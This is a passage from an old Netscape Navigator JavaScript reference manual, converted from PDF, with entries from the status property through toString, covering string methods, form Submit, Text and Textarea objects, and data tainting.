complete, lowsrc properties

status
Property. Specifies a priority or transient message in the status bar at the bottom of the window, such as the message that appears when a mouseOver event occurs over an anchor.

Syntax
windowReference.status

Parameters
windowReference is a valid way of referring to a window, as described in the window object.

Property of
window object

Implemented in
Navigator 2.0

Tainted?
Yes

Description
Do not confuse the status property with the defaultStatus property. The defaultStatus property reflects the default message displayed in the status bar. You can set the status property at any time. You must return true if you want to set the status property in the onMouseOver event handler.

Examples
Suppose you have created a JavaScript function called pickRandomURL that lets you select a URL at random. You can use the onClick event handler of an anchor to specify a value for the HREF attribute of the anchor dynamically, and the onMouseOver event handler to specify a custom message for the window in the status property: <A HREF="" onClick="this.href=pickRandomURL()" onMouseOver="self.status='Pick a random URL'; return true">

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (33 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Go!</A> In the preceding example, the status property of the window is assigned to the window's self property, as self.status. As this example shows, you must return true to set the status property in the onMouseOver event handler.

See also
defaultStatus property

strike
Method. Causes a string to be displayed as struck-out text, as if it were in a <STRIKE> tag.

Syntax
stringName.strike()

Parameters
stringName is any string or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
Use the strike method with the write or writeln methods to format and display a string in a document.

Examples
The following example uses string methods to change the formatting of a string: var worldString="Hello, world" document.write(worldString.blink()) document.write("<P>" + worldString.bold()) document.write("<P>" + worldString.italics()) document.write("<P>" + worldString.strike()) The previous example produces the same output as the following HTML: <BLINK>Hello, world</BLINK> <P><B>Hello, world</B>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (34 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

<P><I>Hello, world</I> <P><STRIKE>Hello, world</STRIKE>

See also
blink, bold, italics methods

String
Object. A series of characters.

Syntax
To create a String object: stringObjectName = new String(string) To use a String object: 1. stringName.propertyName 2. stringName.methodName(parameters)

Parameters
stringObjectName is the name of a new String object. string is any string. stringName is the name of a String object or string variable. propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
None

Implemented in
q q

Navigator 2.0 Navigator 3.0: added String() constructor (in previous releases, you construct strings by quoting characters); added prototype property; added split method; added ability to pass strings among scripts in different windows or frames (in previous releases, you had to add an empty string to another window's string to reference it)

Description

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (35 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

The String object is a built-in JavaScript object. A string can be represented as a literal enclosed by single or double quotation marks; for example, "Netscape" or 'Netscape'.

Properties
The String object has the following properties:

Property Description length Reflects the length of the string

prototype Lets you add properties to a String object.

Methods
The String object has the following methods:

q q q q q q q q

anchor method big blink bold charAt eval fixed fontcolor

q q q q q q q

fontsize indexOf italics lastIndexOflink method small split strike

q q q q q q q

sub substring sup toLowerCase toUpperCase toString valueOf

Event handlers
None.

Examples
Example 1: String variable. The following statement creates a string variable: var last_name = "Schaefer" Example 2: String object properties. The following statements evaluate to eight, "SCHAEFER," and "schaefer": last_name.length last_name.toUpperCase() last_name.toLowerCase() Example 3: Pass a string among scripts in different windows or frames. The following code creates two string variables and opens a second window: var lastName = new String("Schaefer") var firstName = new String ("Jesse") empWindow=window.open('string2.html','window1','width=300,height=300')

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (36 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

If the HTML source for the second window (string2.html) creates two string variables, empLastName and empFirstName, the following code in the first window assigns values to the second window's variables: empWindow.empFirstName=firstName empWindow.empLastName=lastName The following code in the first window displays the values of the second window's variables: alert('empFirstName in empWindow is ' + empWindow.empFirstName) alert('empLastName in empWindow is ' + empWindow.empLastName)

See also
Text object, Textarea object

sub
Method. Causes a string to be displayed as a subscript, as if it were in a <SUB> tag.

Syntax
stringName.sub()

Parameters
stringName is any string or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
Use the sub method with the write or writeln methods to format and display a string in a document.

Examples
The following example uses the sub and sup methods to format a string: var superText="superscript" var subText="subscript" document.write("This is what a " + superText.sup() + " looks like.") document.write("<P>This is what a " + subText.sub() + " looks like.")
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (37 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

The previous example produces the same output as the following HTML: This is what a <SUP>superscript</SUP> looks like. <P>This is what a <SUB>subscript</SUB> looks like.

See also
sup method

submit method
Method. Submits a form.

Syntax
formName.submit()

Parameters
formName is the name of any form or an element in the forms array.

Method of
Form object

Implemented in
Navigator 2.0

Description
The submit method submits the specified form. It performs the same action as a submit button. Use the submit method to send data back to an HTTP server. The submit method returns the data using either "get" or "post," as specified in the method property. The submit method fails without notice, if the form's action is a mailto:, news:, or snews: URL. This is for security purposes. Users can submit forms with such URLs by clicking a submit button, but a confirming dialog will tell them that they are about to give away private or sensitive information.

Examples
The following example submits a form called musicChoice: document.musicChoice.submit()

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (38 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

If musicChoice is the first form created, you also can submit it as follows: document.forms[0].submit() See also the example for the Form object.

See also
Submit object, onSubmit event handler

Submit object
Object. A submit button on an HTML form. A submit button causes a form to be submitted.

HTML syntax
To define a submit button, use standard HTML syntax with the addition of JavaScript event handlers: <INPUT TYPE="submit" NAME="submitName" VALUE="buttonText" [onBlur="handlerText"] [onClick="handlerText"] [onFocus="handlerText"]>

HTML attributes
NAME="submitName" specifies the name of the Submit object. You can access this value using the name property, and you can use this name when indexing the elements array. VALUE="buttonText" specifies the label to display on the button face. You can access this value using the value property.

Syntax
To use a Submit object's properties and methods: 1. 2. 3. 4. submitName.propertyName submitName.methodName(parameters) formName.elements[index].propertyName formName.elements[index].methodName(parameters)

Parameters
submitName is the value of the NAME attribute of a Submit object. formName is either the value of the NAME attribute of a Form object or an element in the forms array.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (39 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

index is an integer representing a Submit object on a form or the name of a Submit object as specified by the NAME attribute. propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
Form object

Implemented in
q q

Navigator 2.0 Navigator 3.0: added type property; added onBlur and onFocus event handlers; added blur and focus methods

Description
A Submit object on a form looks as follows:
Done

A Submit object is a form element and must be defined within a <FORM> tag. Clicking a submit button submits a form to the URL specified by the form's action property. This action always loads a new page into the client; it may be the same as the current page, if the action so specifies or is not specified. The submit button's onClick event handler cannot prevent a form from being submitted; instead, use the form's onSubmit event handler or use the submit method instead of a Submit object. See the examples for the Form object. If a form contains only one element, a Text object, then when the user enters a value and presses Return, the form submits. (This is a standard HTML feature.)

Properties
The Submit object has the following properties:

Property

Description

form property Specifies the form containing the Submit object name type value Reflects the NAME attribute Reflects the TYPE attribute Reflects the VALUE attribute

Methods
The Submit object has the following methods:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (40 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm
q q q

blur click eval

q q q

focus toString valueOf

Event handlers
q q q

onBlur onClick onFocus

Examples
The following example creates a Submit object called submitButton. The text "Done" is displayed on the face of the button. <INPUT TYPE="submit" NAME="submitButton" VALUE="Done"> See also the examples for the Form object.

See also
Button object, Form object, Reset object; submit method; onSubmit event handler

substring
Method. Returns a subset of a String object.

Syntax
stringName.substring(indexA, indexB)

Parameters
stringName is any string or a property of an existing object. indexA is any integer from zero to stringName.length - 1, or a property of an existing object. indexB is any integer from zero to stringName.length, or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (41 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Description
Characters in a string are indexed from left to right. The index of the first character is zero, and the index of the last character is stringName.length - 1.
q

If indexA is less than indexB, the substring method returns the subset starting with the character at indexA and ending with the character before indexB. If indexA is greater than indexB, the substring method returns the subset starting with the character before indexB and ending with the character at indexA. If indexA is equal to indexB, the substring method returns the empty string.

Examples
Example 1. The following example uses substring to display characters from the string "Netscape": var anyString="Netscape" //Displays "Net" document.write(anyString.substring(0,3)) document.write(anyString.substring(3,0)) //Displays "cap" document.write(anyString.substring(4,7)) document.write(anyString.substring(7,4)) //Displays "Netscap" document.write(anyString.substring(0,7)) //Displays "Netscape" document.write(anyString.substring(0,8)) document.write(anyString.substring(0,10)) Example 2. The following example replaces a substring within a string. It will replace both individual characters and substrings. The function call at the end of the example changes the string "Brave New World" into "Brave New Web". function replaceString(oldS,newS,fullS) { // Replaces oldS with newS in the string fullS for (var i=0; i<fullS.length; i++) { if (fullS.substring(i,i+oldS.length) == oldS) { fullS = fullS.substring(0,i)+newS+fullS.substring(i+oldS.length,fullS.length) } } return fullS } replaceString("World","Web","Brave New World")

suffixes
Property. A string listing possible file suffixes (also known as file name extensions) for the MIME type.

Syntax
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (42 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

navigator.mimeTypes[index].suffixes

Parameters
index is either an integer representing a MIME type supported by the client or a string containing the type of a MimeType object (from the type property).

Property of
MimeType

Implemented in
Navigator 3.0

Tainted?
No

Description
The suffixes property is a string consisting of each valid suffix (typically three letters long) separated by commas. For example, the suffixes for the "audio/x-midi" MIME type are "mid, midi". suffixes is a read-only property.

Examples
See the examples for the MimeType object.

See also
description, enabledPlugin, type properties

sup
Method. Causes a string to be displayed as a superscript, as if it were in a <SUP> tag.

Syntax
stringName.sup()

Parameters
stringName is any string or a property of an existing object.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (43 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Method of
String

Implemented in
Navigator 2.0

Description
Use the sup method with the write or writeln methods to format and display a string in a document.

Examples
The following example uses the sub and sup methods to format a string: var superText="superscript" var subText="subscript" document.write("This is what a " + superText.sup() + " looks like.") document.write("<P>This is what a " + subText.sub() + " looks like.") The previous example produces the same output as the following HTML: This is what a <SUP>superscript</SUP> looks like. <P>This is what a <SUB>subscript</SUB> looks like.

See also
sub method

[Next reference file]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (44 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

[Previous reference file]

taint
Function. Adds tainting to a data element or script.

Syntax
taint(dataElementName)

Parameters
dataElementName is the property, variable, function, or object to taint. If omitted, taint is added to the script itself.

Implemented in
Navigator 3.0

Description
Tainting prevents other scripts from passing information that should be secure and private, such as directory structures or user session history. JavaScript cannot pass tainted values on to any server without the end user's permission. Use taint to mark data that otherwise is not tainted. In some cases, control flow rather than data flow carries tainted information. In these cases, taint is added to the script's window. You can add taint to the script's window by calling taint with no arguments. See "Tainting that results from conditional statements". taint does not modify its argument; instead, it returns a marked copy of the value, or, for objects, an unmarked reference to the value.

Examples
The following statement adds taint to a property so that a script cannot send it to another server without the end user's permission:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (1 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

taintedStatus=taint(window.defaultStatus) // taintedStatus now cannot be sent in a URL or form post without // the end user's permission

See also
domain property; taintEnabled method; untaint function; "Using data tainting for security"

taintEnabled
Method. Specifies whether data tainting is enabled.

Syntax
navigator.taintEnabled()

Method of
navigator

Implemented in
Navigator 3.0

Description
Tainting prevents other scripts from passing information that should be secure and private, such as directory structures or user session history. JavaScript cannot pass tainted values on to any server without the end user's permission. Use taintEnabled to determine if data tainting is enabled. taintEnabled returns true if data tainting is enabled, false otherwise. The user enables or disables data tainting by using the environment variable NS_ENABLE_TAINT.

Examples

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (2 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

The following code executes function1 if data tainting is enabled; otherwise it executes function2. if (navigator.taintEnabled()) { function1() } else function2()

See also
domain property; taint, untaint functions; "Using data tainting for security"

tan
Method. Returns the tangent of a number.

Syntax
Math.tan(number)

Parameters
number is a numeric expression representing the size of an angle in radians, or a property of an existing object.

Method of
Math

Implemented in
Navigator 2.0

Description
The tan method returns a numeric value that represents the tangent of the angle.

Examples
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (3 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

The following function returns the tangent of the variable x: function getTan(x) { return Math.tan(x) } If you pass getTan the value Math.PI/4, it returns 0.9999999999999999.

See also
acos, asin, atan, atan2, cos, sin methods

target
Property. For form, a string specifying the name of the window that responses go to after a form has been submitted. For link, a string specifying the name of the window that displays the content of a clicked hypertext link.

Syntax
1. formName.target 2. links[index].target 3. areaName.target

Parameters
formName is either the name of a form or an element in the forms0 array. index is an integer representing a Link object or the name of a Link object as specified by the NAME attribute. areaName is the value of the NAME attribute of an Area object.

Property of
Area object (see Link object), Form object, Link object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (4 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Area

Tainted?
No

Description
The target property initially reflects the TARGET attribute of the <A>, <AREA>, and <FORM> tags; however, setting target overrides these attributes. You can set target using a string, if the string represents a window name. The target property cannot be assigned the value of a JavaScript expression or variable. You can set the target property at any time.

Examples
The following example specifies that responses to the musicInfo form are displayed in the msgWindow window: document.musicInfo.target="msgWindow"

See also
For form: action, encoding, method properties; Form object

Text object
Object. A text input field on an HTML form. The user can enter a word, phrase, or series of numbers in a text field.

HTML syntax
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (5 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

To define a Text object, use standard HTML syntax with the addition of JavaScript event handlers: <INPUT TYPE="text" NAME="textName" VALUE="textValue" SIZE=integer [onBlur="handlerText"] [onChange="handlerText"] [onFocus="handlerText"] [onSelect="handlerText"]>

HTML attributes
NAME="textName" specifies the name of the Text object. You can access this value using the name property, and you can use this name when indexing the elements array. VALUE="textValue" specifies the initial value of the Text object. You can access this value using the defaultValue property. SIZE=integer specifies the number of characters the Text object can accommodate without scrolling.

Syntax
To use a Text object's properties and methods: 1. 2. 3. 4. textName.propertyName textName.methodName(parameters) formName.elements[index].propertyName formName.elements[index].methodName(parameters)

Parameters
textName is the value of the NAME attribute of a Text object. formName is either the value of the NAME attribute of a Form object or an element in the forms array. index is an integer representing a Text object on a form or the name of a Text object as specified by the NAME attribute. propertyName is one of the properties listed below.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (6 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

methodName is one of the methods listed below.

Property of
Form object

Implemented in
q q

Navigator 2.0 Navigator 3.0: added type property

Description
A Text object on a form looks as follows: Last name: Salamone A Text object is a form element and must be defined within a <FORM> tag. Text objects can be updated (redrawn) dynamically by setting the value property (this.value). If a form contains only one element, a Text object, then when the user enters a value and presses Return, the form submits. (This is a standard HTML feature.)

Properties
The Text object has the following properties:

Property

Description

defaultValue Reflects the VALUE attribute form property Specifies the form containing the Text object name type value Reflects the NAME attribute Reflects the TYPE attribute Reflects the current value of the Text object's field

Methods

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (7 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

The Text object has the following methods:

q q q

blur eval focus

q q q

select method toString valueOf

Event handlers
q q q q

onBlur onChange onFocus onSelect

Examples
Example 1. The following example creates a Text object that is 25 characters long. The text field appears immediately to the right of the words "Last name:". The text field is blank when the form loads. <B>Last name:</B> <INPUT TYPE="text" NAME="last_name" VALUE="" SIZE=25> Example 2. The following example creates two Text objects on a form. Each object has a default value. The city object has an onFocus event handler that selects all the text in the field when the user tabs to that field. The state object has an onChange event handler that forces the value to uppercase. <FORM NAME="form1"> <BR><B>City: </B><INPUT TYPE="text" NAME="city" VALUE="Anchorage" SIZE="20" onFocus="this.select()"> <B>State: </B><INPUT TYPE="text" NAME="state" VALUE="AK" SIZE="2" onChange="this.value=this.value.toUpperCase()"> </FORM> See also the examples for the onBlur, onChange, onFocus, and onSelect event handlers.

See also
FileUpload object, Form object, Password object, String object, Textarea object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (8 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

text property
Property. A string specifying the text that follows an <OPTION> tag in a Select object.

Syntax
1. selectName.options[index].text 2. optionName.text

Parameters
selectName is either the value of the NAME attribute of a Select object or an element in the elements array. index is an integer representing an option in a Select object. optionName is the name of a Select object option created using the Option() constructor.

Property of
Option object (see Select object), options array (see Select object)

Implemented in
q q

Navigator 2.0 Navigator 3.0: The text property of the options array can be changed and the text displayed by the option in the Select object changes. In previous releases, you could set the text property but the new value was not reflected in the Select object.

Tainted?
Yes

Description
The text property initially reflects the text that follows an <OPTION> tag in a Select object. You can set the text property at any time and the text displayed by the option in the Select object changes.

Examples
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (9 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

In the following example, the getChoice function returns the value of the text property for the selected option. The for loop evaluates every option in the musicType Select object. The if statement finds the option that is selected. function getChoice() { for (var i = 0; i < document.musicForm.musicType.length; i++) { if (document.musicForm.musicType.options[i].selected == true) { return document.musicForm.musicType.options[i].text } } return null } The previous example assumes that the Select object is similar to the following: <SELECT NAME="musicType"> <OPTION SELECTED> R&B <OPTION> Jazz <OPTION> Blues <OPTION> New Age </SELECT>

Textarea
Object. A multiline input field on an HTML form. The user can use a textarea field to enter words, phrases, or numbers.

HTML syntax
To define a text area, use standard HTML syntax with the addition of JavaScript event handlers: <TEXTAREA NAME="textareaName" ROWS="integer" COLS="integer" [onBlur="handlerText"] [onChange="handlerText"] [onFocus="handlerText"]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (10 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

[onSelect="handlerText"]> textToDisplay </TEXTAREA>

HTML attributes
NAME="textareaName" specifies the name of the Textarea object. You can access this value using the name property, and you can use this name when indexing the elements array. ROWS="integer" and COLS="integer" define the physical size of the displayed input field in numbers of characters. textToDisplay specifies the initial value of the Textarea object. A Textarea allows only ASCII text, and new lines are respected. You can access this value using the defaultValue property.

Syntax
To use a Textarea object's properties and methods: 1. 2. 3. 4. textareaName.propertyName textareaName.methodName(parameters) formName.elements[index].propertyName formName.elements[index].methodName(parameters)

Parameters
textareaName is the value of the NAME attribute of a Textarea object. formName is either the value of the NAME attribute of a Form object or an element in the forms array. index is an integer representing a Textarea object on a form or the name of a Textarea object as specified by the NAME attribute. propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
Form object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (11 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Implemented in
q q

Navigator 2.0 Navigator 3.0: added type property

Description
A Textarea object on a form looks as follows:
Our storage ottoman provides an attractive way to store lots of CDs and videos--and it's versatile enough to store other things as well. It can hold up to 72 CDs under the lid and 20 videos in the drawer below.

A Textarea object is a form element and must be defined within a <FORM> tag. Textarea objects can be updated (redrawn) dynamically by setting the value property (this.value). To begin a new line in a Textarea object, you can use a newline character. Although this character varies from platform to platform (Unix is \n, Windows is \r, and Macintosh is \n), JavaScript checks for all newline characters before setting a string-valued property and translates them as needed for the user's platform. You could also enter a newline character programmatically--one way is to test the appVersion property to determine the current platform, then set the newline character accordingly. See the appVersion property for an example.

Properties
The Textarea object has the following properties:

Property

Description

defaultValue Reflects the VALUE attribute form property Specifies the form containing the Textarea object name type value Reflects the NAME attribute Specifies that the object is a Textarea object Reflects the current value of the Textarea object

Methods

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (12 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

The Textarea object has the following methods:

q q q

blur eval focus

q q q

select method toString valueOf

Event handlers
q q q q

onBlur onChange onFocus onSelect

Examples
Example 1. The following example creates a Textarea object that is six rows long and 55 columns wide. The textarea field appears immediately below the word "Description:". When the form loads, the Textarea object contains several lines of data, including one blank line. <B>Description:</B> <BR><TEXTAREA NAME="item_description" ROWS=6 COLS=55> Our storage ottoman provides an attractive way to store lots of CDs and videos--and it's versatile enough to store other things as well. It can hold up to 72 CDs under the lid and 20 videos in the drawer below. </TEXTAREA> Example 2. The following example creates a string variable containing newline two characters for different platforms. When the user clicks the button, the Textarea object is populated with the value from the string variable. The result is three lines of text in the Textarea object. <SCRIPT> myString="This is line one.\nThis is line two.\rThis is line three." </SCRIPT> <FORM NAME="form1"> <INPUT TYPE="button" Value="Populate the textarea" onClick="document.form1.textarea1.value=myString"> <P> <TEXTAREA NAME="textarea1" ROWS=6 COLS=55></TEXTAREA>

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (13 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

See also the examples for the onBlur, onChange, onFocus, and onSelect event handlers.

See also
Form object, Password object, String object, Text object

title
Property. A string representing the title of a document.

Syntax
document.title

Property of
document

Implemented in
Navigator 2.0

Tainted?
Yes

Description
The title property is a reflection of the value specified within the <TITLE> and </TITLE> tags. If a document does not have a title, the title property is null. title is a read-only property.

Examples
In the following example, the value of the title property is assigned to a variable called docTitle:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (14 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

var newWindow = window.open("http://home.netscape.com") var docTitle = newWindow.document.title

toGMTString
Method. Converts a date to a string, using the Internet GMT conventions.

Syntax
dateObjectName.toGMTString()

Parameters
dateObjectName is either the name of a Date object or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Description
The exact format of the value returned by toGMTString varies according to the platform.

Examples
In the following example, today is a Date object: today.toGMTString() In this example, the toGMTString method converts the date to GMT (UTC) using the operating system's time-zone offset and returns a string value that is similar to the following form. The exact format depends on the platform.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (15 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Mon, 18 Dec 1995 17:28:35 GMT

See also
toLocaleString method

toLocaleString
Method. Converts a date to a string, using the current locale's conventions.

Syntax
dateObjectName.toLocaleString()

Parameters
dateObjectName is either the name of a Date object or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Description
If you are trying to pass a date using toLocaleString, be aware that different locales assemble the string in different ways. Using methods such as getHours, getMinutes, and getSeconds gives more portable results.

Examples
In the following example, today is a Date object:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (16 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

today.toLocaleString() In this example, toLocaleString returns a string value that is similar to the following form. The exact format depends on the platform. 12/18/95 17:28:35

See also
toGMTString method

toLowerCase
Method. Returns the calling string value converted to lowercase.

Syntax
stringName.toLowerCase()

Parameters
stringName is any string or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
The toLowerCase method returns the value of stringName converted to lowercase. toLowerCase does not affect the value of stringName itself.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (17 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Examples
The following example displays the lowercase string "alphabet": var upperText="ALPHABET" document.write(upperText.toLowerCase())

See also
toUpperCase method

top
Property. The top property is a synonym for the top-most Navigator window, which is a "document window" or "Web Browser window."

Syntax
1. 2. 3. 4. top.propertyName top.methodName top.frameName top.frames[index]

Parameters
propertyName is defaultStatus, status, or length. methodName is any method associated with the window object. frameName and frames[index] are ways to refer to frames.

Property of
window object

Implemented in

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (18 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Navigator 2.0

Tainted?
No

Description
The top property refers to the top-most window that contains frames or nested framesets. Use the top property to refer to this ancestor window. The top property is read-only. The value of the top property is <object objectReference> where objectReference is an internal reference.

Examples
The statement top.close() closes the top-most ancestor window. The statement top.length specifies the number of frames contained within the top-most ancestor window. When the top-most ancestor is defined as follows, top.length returns three: <FRAMESET COLS="30%,40%,30%"> <FRAME SRC=child1.htm NAME="childFrame1"> <FRAME SRC=child2.htm NAME="childFrame2"> <FRAME SRC=child3.htm NAME="childFrame3"> </FRAMESET> The following example sets the background color of a frame called myFrame to red. myFrame is a child of the top-most ancestor window. top.myFrame.document.bgColor="red"

toString
Method. Returns a string representing the specified object.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (19 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Syntax
objectName.toString() numberObjectName.toString([radix])

Parameters
objectName is the object to convert to a string. numberObjectName is the Number object to convert to a string. radix is an integer between 2 and 16 specifying the base to use for representing numeric values.

Method of
toString is a method of all objects.

Implemented in
Navigator 2.0 Navigator 3.0: added radix

Tainted?
Yes, for history, location, Link, and any form input element; No for all other objects

Description
Every object has a toString method that is automatically called when it is to be represented as a text value or when an object is referenced in a string concatenation. For example, the following examples require theDog to be represented as a string: document.write(theDog) document.write("The dog is " + theDog) You can use toString within your own code to convert an object into a string, and you can create your own function to be called in place of the default toString method.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (20 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Built-in toString methods Every object type has a built-in toString method, which JavaScript calls whenever it needs to convert an object to a string. If an object has no string value and no user-defined toString method, toString returns "[object type]", where type is the object type or the name of the constructor function that created the object. For example, if the following Image object named "sealife" exists, sealife.toString() returns [object Image]. <IMG NAME="sealife" SRC="images\seaotter.gif" ALIGN="left" VSPACE="10"> User-defined toString methods You can create a function to be called in place of the default toString method. The toString method takes no arguments and should return a string. The toString method you create can be any value you want, but it will be most useful if it carries information about the object. Suppose you have an object type Dog and you want to create a toString method for it. The following code defines the Dog object type and creates theDog, an object of type Dog: function Dog(name,breed,color,sex) { this.name=name this.breed=breed this.color=color this.sex=sex } theDog = new Dog("Gabby","Lab","chocolate","girl") The following code creates objectToString, the function that will be used in place of the default toString method. This function generates a string containing each property, of the form "property = value;". function objectToString() { var ret = "Object " + this.name + " is [" for (var prop in this) ret += " " + prop + " is " + this[prop] + ";" return ret + "]" } The following code assigns the user-defined function to the object's toString method: Dog.prototype.toString = objectToString With the preceding code in place, any time theDog is used in a string context, JavaScript automatically calls the objectToString function, which returns the following string:
